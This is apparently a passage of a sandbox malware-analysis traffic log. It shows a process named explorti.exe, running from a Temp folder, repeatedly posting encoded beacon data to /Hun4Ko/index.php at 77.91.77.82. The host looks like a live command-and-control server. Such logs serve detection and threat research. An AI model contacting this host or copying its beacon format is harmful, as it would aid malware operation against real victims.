Jul 4, 2024 20:36:01.265851974 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:01.993185997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49896	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:02.109977961 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:02.820839882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49897	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:02.853719950 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:03.563265085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49899	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:03.702800035 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:04.476588011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49900	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:04.654566050 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:05.395961046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49901	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:05.405781984 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:06.103116989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49902	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:06.234807968 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49903	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:06.249545097 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:06.946429014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49904	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:07.058579922 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:07.776281118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49905	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:07.787159920 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:08.502291918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49906	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:08.621289015 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:09.358964920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49907	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:09.373110056 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:10.082026958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49908	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:10.206829071 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:10.909296036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49909	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:10.918581963 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:11.631102085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49910	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:11.752872944 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:12.447494030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49912	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:12.457660913 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:13.159372091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49913	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:13.275307894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:13.973362923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49915	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:13.981975079 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:14.685242891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49916	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:14.810107946 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:15.625324011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49917	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:15.659925938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:16.401556969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49918	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:16.521434069 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:17.259109974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49919	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:17.277743101 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:18.010330915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49920	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:18.134705067 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49921	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
